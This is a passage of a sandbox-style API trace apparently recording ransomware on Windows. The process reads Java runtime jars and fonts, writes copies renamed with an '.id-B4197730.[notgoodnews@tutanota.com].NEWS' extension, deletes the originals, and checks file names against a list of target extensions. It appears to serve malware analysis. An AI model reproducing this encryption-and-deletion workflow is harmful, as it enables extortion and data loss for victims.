Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0161.022] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=280161) returned 1 [0161.022] CloseHandle (hObject=0x470) returned 1 [0161.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20 [0161.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.022] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0161.022] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.022] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.023] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0161.023] GetLastError () returned 0x0 [0161.023] ReadFile (in: hFile=0x470, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x44661, lpOverlapped=0x0) returned 1 [0161.036] WriteFile (in: hFile=0x4bc, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x44670, lpOverlapped=0x0) returned 1 [0161.042] ReadFile (in: hFile=0x470, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.042] WriteFile (in: hFile=0x4bc, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xfa, lpOverlapped=0x0) returned 1 [0161.042] SetEndOfFile (hFile=0x4bc) returned 1 [0161.042] CloseHandle (hObject=0x4bc) returned 1 [0161.043] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.043] SetEndOfFile (hFile=0x470) returned 1 [0161.050] CloseHandle (hObject=0x470) returned 1 [0161.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0161.051] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1 [0161.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0161.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0161.052] lstrlenW (lpString=".doc") returned 4 [0161.052] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0161.052] lstrlenW (lpString=".docx") returned 5 [0161.052] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0161.052] lstrlenW (lpString=".pdf") returned 4 [0161.052] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0161.052] lstrlenW (lpString=".xls") returned 4 [0161.052] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0161.052] lstrlenW (lpString=".xlsx") returned 5 [0161.052] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0161.052] lstrlenW (lpString=".ppt") returned 4 [0161.052] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0161.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0161.052] lstrlenW (lpString=".zip") returned 4 [0161.052] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0161.052] lstrlenW (lpString=".rar") returned 4 [0161.052] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0161.052] lstrlenW (lpString=".bz2") returned 4 [0161.052] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0161.052] lstrlenW (lpString=".7z") returned 3 [0161.052] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0161.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0161.052] lstrlenW (lpString=".dbf") returned 4 [0161.052] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0161.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0161.052] lstrlenW (lpString=".1cd") returned 4 [0161.052] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0161.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0161.052] lstrlenW (lpString=".jpg") returned 4 [0161.052] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0161.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0161.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0161.053] lstrlenW (lpString=".doc") returned 4 [0161.053] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0161.053] lstrlenW (lpString=".docx") returned 5 [0161.053] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0161.053] lstrlenW (lpString=".pdf") returned 4 [0161.053] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0161.053] lstrlenW (lpString=".xls") returned 4 [0161.053] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0161.053] lstrlenW (lpString=".xlsx") returned 5 [0161.053] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0161.053] lstrlenW (lpString=".ppt") returned 4 [0161.053] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0161.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0161.053] lstrlenW (lpString=".zip") returned 4 [0161.053] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0161.053] lstrlenW (lpString=".rar") returned 4 [0161.053] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0161.053] lstrlenW (lpString=".bz2") returned 4 [0161.053] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0161.053] lstrlenW (lpString=".7z") returned 3 [0161.053] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0161.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0161.053] lstrlenW (lpString=".dbf") returned 4 [0161.053] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0161.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0161.053] lstrlenW (lpString=".1cd") returned 4 [0161.053] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0161.053] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0161.053] lstrlenW (lpString=".jpg") returned 4 [0161.053] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0161.054] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0161.054] lstrlenW (lpString="sunmscapi.jar") returned 13 [0161.054] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0161.054] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=32699) returned 1 [0161.054] CloseHandle (hObject=0x470) returned 1 [0161.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20 [0161.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.055] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0161.055] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.055] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.055] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0161.056] GetLastError () returned 0x0 [0161.056] ReadFile (in: hFile=0x470, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x7fbb, lpOverlapped=0x0) returned 1 [0161.471] WriteFile (in: hFile=0x4bc, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x7fc0, lpOverlapped=0x0) returned 1 [0161.472] ReadFile (in: hFile=0x470, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.472] WriteFile (in: hFile=0x4bc, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xee, lpOverlapped=0x0) returned 1 [0161.472] SetEndOfFile (hFile=0x4bc) returned 1 [0161.472] CloseHandle (hObject=0x4bc) returned 1 [0161.473] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.473] SetEndOfFile (hFile=0x470) returned 1 [0161.476] CloseHandle (hObject=0x470) returned 1 [0161.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0161.477] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1 [0161.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0161.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0161.478] lstrlenW (lpString=".doc") returned 4 [0161.478] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0161.478] lstrlenW (lpString=".docx") returned 5 [0161.479] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0161.479] lstrlenW (lpString=".pdf") returned 4 [0161.479] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0161.479] lstrlenW (lpString=".xls") returned 4 [0161.479] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0161.479] lstrlenW (lpString=".xlsx") returned 5 [0161.479] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0161.479] lstrlenW (lpString=".ppt") returned 4 [0161.479] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0161.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0161.479] lstrlenW (lpString=".zip") returned 4 [0161.479] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0161.479] lstrlenW (lpString=".rar") returned 4 [0161.479] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0161.479] lstrlenW (lpString=".bz2") returned 4 [0161.479] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0161.479] lstrlenW (lpString=".7z") returned 3 [0161.479] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0161.479] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0161.480] lstrlenW (lpString=".dbf") returned 4 [0161.480] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0161.480] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0161.480] lstrlenW (lpString=".1cd") returned 4 [0161.480] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0161.480] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0161.480] lstrlenW (lpString=".jpg") returned 4 [0161.480] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0161.480] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0161.480] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0161.480] lstrlenW (lpString=".doc") returned 4 [0161.480] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0161.480] lstrlenW (lpString=".docx") returned 5 [0161.480] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0161.480] lstrlenW (lpString=".pdf") returned 4 [0161.480] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0161.480] lstrlenW (lpString=".xls") returned 4 [0161.480] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0161.480] lstrlenW (lpString=".xlsx") returned 5 [0161.480] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0161.480] lstrlenW (lpString=".ppt") returned 4 [0161.480] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0161.480] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0161.480] lstrlenW (lpString=".zip") returned 4 [0161.480] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0161.480] lstrlenW (lpString=".rar") returned 4 [0161.480] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0161.480] lstrlenW (lpString=".bz2") returned 4 [0161.480] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0161.480] lstrlenW (lpString=".7z") returned 3 [0161.480] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0161.480] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0161.480] lstrlenW (lpString=".dbf") returned 4 [0161.480] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0161.481] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0161.481] lstrlenW (lpString=".1cd") returned 4 [0161.481] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0161.481] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0161.481] lstrlenW (lpString=".jpg") returned 4 [0161.481] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0161.481] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0161.481] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24 [0161.481] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0161.484] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=75144) returned 1 [0161.484] CloseHandle (hObject=0x470) returned 1 [0161.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20 [0161.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.484] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0161.484] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.484] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.484] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0161.486] GetLastError () returned 0x0 [0161.486] ReadFile (in: hFile=0x470, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x12588, lpOverlapped=0x0) returned 1 [0161.490] WriteFile (in: hFile=0x4bc, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x12590, lpOverlapped=0x0) returned 1 [0161.493] ReadFile (in: hFile=0x470, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.493] WriteFile (in: hFile=0x4bc, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x104, lpOverlapped=0x0) returned 1 [0161.493] SetEndOfFile (hFile=0x4bc) returned 1 [0161.493] CloseHandle (hObject=0x4bc) returned 1 [0161.493] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.493] SetEndOfFile (hFile=0x470) returned 1 [0161.499] CloseHandle (hObject=0x470) returned 1 [0161.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0161.500] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 1 [0161.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0161.500] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0161.500] lstrlenW (lpString=".doc") returned 4 [0161.500] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0161.500] lstrlenW (lpString=".docx") returned 5 [0161.500] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0161.501] lstrlenW (lpString=".pdf") returned 4 [0161.501] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0161.501] lstrlenW (lpString=".xls") returned 4 [0161.501] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0161.501] lstrlenW (lpString=".xlsx") returned 5 [0161.501] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0161.501] lstrlenW (lpString=".ppt") returned 4 [0161.501] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0161.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0161.501] lstrlenW (lpString=".zip") returned 4 [0161.501] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0161.501] lstrlenW (lpString=".rar") returned 4 [0161.501] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0161.501] lstrlenW (lpString=".bz2") returned 4 [0161.501] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0161.501] lstrlenW (lpString=".7z") returned 3 [0161.501] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0161.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0161.501] lstrlenW (lpString=".dbf") returned 4 [0161.501] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0161.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0161.501] lstrlenW (lpString=".1cd") returned 4 [0161.501] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0161.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0161.501] lstrlenW (lpString=".jpg") returned 4 [0161.501] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0161.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0161.501] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0161.501] lstrlenW (lpString=".doc") returned 4 [0161.501] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0161.501] lstrlenW (lpString=".docx") returned 5 [0161.501] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0161.501] lstrlenW (lpString=".pdf") returned 4 [0161.501] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0161.501] lstrlenW (lpString=".xls") returned 4 [0161.502] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0161.502] lstrlenW (lpString=".xlsx") returned 5 [0161.502] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0161.502] lstrlenW (lpString=".ppt") returned 4 [0161.502] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0161.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0161.502] lstrlenW (lpString=".zip") returned 4 [0161.502] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0161.502] lstrlenW (lpString=".rar") returned 4 [0161.502] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0161.502] lstrlenW (lpString=".bz2") returned 4 [0161.502] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0161.502] lstrlenW (lpString=".7z") returned 3 [0161.502] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0161.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0161.502] lstrlenW (lpString=".dbf") returned 4 [0161.502] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0161.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0161.502] lstrlenW (lpString=".1cd") returned 4 [0161.502] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0161.502] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0161.502] lstrlenW (lpString=".jpg") returned 4 [0161.502] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0161.502] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0161.502] lstrlenW (lpString="LucidaBrightDemiItalic.ttf") returned 26 [0161.502] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0161.503] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=75124) returned 1 [0161.503] CloseHandle (hObject=0x470) returned 1 